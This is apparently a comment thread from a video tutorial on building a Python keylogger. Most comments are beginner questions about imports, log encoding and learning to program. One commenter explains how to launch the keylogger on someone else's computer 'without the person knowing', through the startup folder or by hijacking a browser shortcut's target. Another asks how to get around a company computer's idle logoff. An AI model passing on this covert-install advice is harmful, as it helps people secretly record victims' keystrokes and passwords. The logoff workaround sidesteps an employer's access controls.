import win32api
ImportError: DLL load failed: The specified module could not be found.
For some stupid reason the same code works in idle and outputs correctly, but when it is run on pycharm all of the texts in the log file gets messed up (outputs blocks instead of characters)..... am I doing something wrong?
hi, its wonderful. I like your style boss. I want to become a python developer. I have not any background in programming. so can you advise me please, how to start? may i need to learn HTML, C, C+ or anything else?
I'm waiting for your response to start. hope you advise me soon. God bless you Sir.
Thank you.
+hussain ali pythonprogramming.net, free training
+hussain ali you could also learn from codecademy like i did
Does any computer you put it on also need to have python and the python modules installed too?
What does pyhook do? I tried it without it to see what would happen and our just didn't log the text in the notepad document. Is this what it is for, the logging? Thanks. 😊
to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r
from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer
Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties.
In properties search for "Target:". Change the value in target to the location of the keylogger file.
Then search for "Start in:"
Put the location of the folder where the keylogger is found. I hope it helps.
Very good understandable from a german-native!
So would this work with cut and paste? If now how would we add this function?
I can tell you're very bright, keep up the good work
Oh.. Here is a question..
(Let me give you the scenario first)
"To work I got to use the company's computer, and I login as a guest. The PC don't allow me to make any changes to it. And it pisses me off that if I don't use it for 3~5 minutes, it will log off. So I was thinking about making a arduino program with a motion detector that it would make a small actuator touch the screen every 3 minutes if no motion was detected."
Now, writing a code that would launch it self and just run in the back ground sounds much easier...
So if I write one like this and just change the hook manager to watch for no activity within 3 min, and some how add a command that would hit ESC on the keyboard or the mouse's right click, that would work right?
Any chance u know these commands?
Thx..
well, I made it and kinda works dude, but once I change on the short cut the destination it also switches the Expl icon for one that has a couple of gears, any suggestions? very goog video by the way.
Do you have to make the log file, or does it make it automatically?
Is there a command or anything you can press to make the keylogger stop? When im trying out my keylogger i have no way of stopping it but to go in taskmanager and it dosent even keep any logs :(